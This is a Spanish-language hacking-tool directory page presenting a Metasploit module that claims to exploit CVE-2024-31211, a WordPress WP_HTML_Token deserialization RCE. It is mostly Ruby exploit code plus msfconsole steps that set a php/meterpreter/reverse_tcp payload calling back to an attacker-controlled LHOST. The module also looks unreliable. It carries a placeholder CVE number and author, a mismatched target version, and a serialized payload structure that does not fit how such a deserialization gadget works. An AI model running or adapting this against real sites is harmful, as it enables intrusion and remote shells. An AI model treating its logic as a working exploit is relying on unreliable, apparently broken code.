Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
-CVE-2024-31211 — Módulo de Metasploit que explota la deserialización WP_HTML_Token de WordPress para RCE (CVE-2024-31211) con un payload manipulado para ejecución arbitraria de código. | Kitploit
Herramientas/GitHubGitHub/abdurahmon3236/-cve-2024-31211
Frameworks de ExploitsAnálisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubabdurahmon3236/-cve-2024-31211

-CVE-2024-31211

Módulo de Metasploit que explota la deserialización WP_HTML_Token de WordPress para RCE (CVE-2024-31211) con un payload manipulado para ejecución arbitraria de código.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 2 añosAún no revisado

Para crear un módulo de Metasploit que explote la vulnerabilidad RCE en WordPress mediante la deserialización de instancias de la clase WP_HTML_Token, nos centraremos en elaborar un payload que desencadene el fallo de deserialización, lo que conduce a la ejecución de código arbitrario.

Módulo de Metasploit

Guarda el siguiente código como wordpress_wp_html_token_rce.rb en el directorio modules/exploits/multi/http de tu instalación de Metasploit Framework.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress WP_HTML_Token Unserialization RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in WordPress via
        the unserialization of instances of the `WP_HTML_Token` class. This allows for
        code execution via its `__destruct()` magic method.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-XXXX'],  # Replace with the correct CVE number
          ['URL', 'https://example.com/advisory']  # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [
        ['WordPress <= 5.x', { }]
      ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        }
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'wp-login.php'),
    })

    if res && res.code == 200 && res.body.include?('wp-login.php')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending payload to trigger unserialization vulnerability")

    serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'

    post_data = {
      'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
      'user_pass'  => serialized_payload,
      'wp-submit'  => 'Log In',
      'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
      'testcookie' => 1
    }

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-login.php'),
      'vars_post' => post_data
    })

    handler
  end
end

Instrucciones de uso

  1. Guardar el módulo: Guarda el módulo como wordpress_wp_html_token_rce.rb en el directorio modules/exploits/multi/http de tu instalación de Metasploit Framework.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
    
  2. Cargar Metasploit: Inicia Metasploit Framework abriendo una terminal y ejecutando:

    root@kitploit:~
    msfconsole
    
  3. Usar el nuevo módulo: En la consola de Metasploit, carga el nuevo módulo de exploit usando el siguiente comando:

    root@kitploit:~
    use exploit/multi/http/wordpress_wp_html_token_rce
    
  4. Configurar y ejecutar: Establece las opciones necesarias, como RHOSTS, RPORT, TARGETURI y PAYLOAD. Luego ejecuta el módulo.

    root@kitploit:~
    msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
    PAYLOAD => php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
    LHOST => your_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
    LPORT => 4444
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
    

Consideraciones importantes

  • Asegúrate de tener los permisos adecuados antes de probar o explotar cualquier sistema.
  • Este módulo está diseñado para fines educativos y de prueba. Siempre prueba en un entorno seguro y controlado antes de usarlo en cualquier sistema de producción.

Este módulo de Metasploit envía un payload serializado manipulado a una instancia vulnerable de WordPress, intentando desencadenar la vulnerabilidad de deserialización y lograr la ejecución de código arbitrario. Ajusta el payload y el módulo según sea necesario en función de la naturaleza específica de la vulnerabilidad y el entorno objetivo.

Descargar herramienta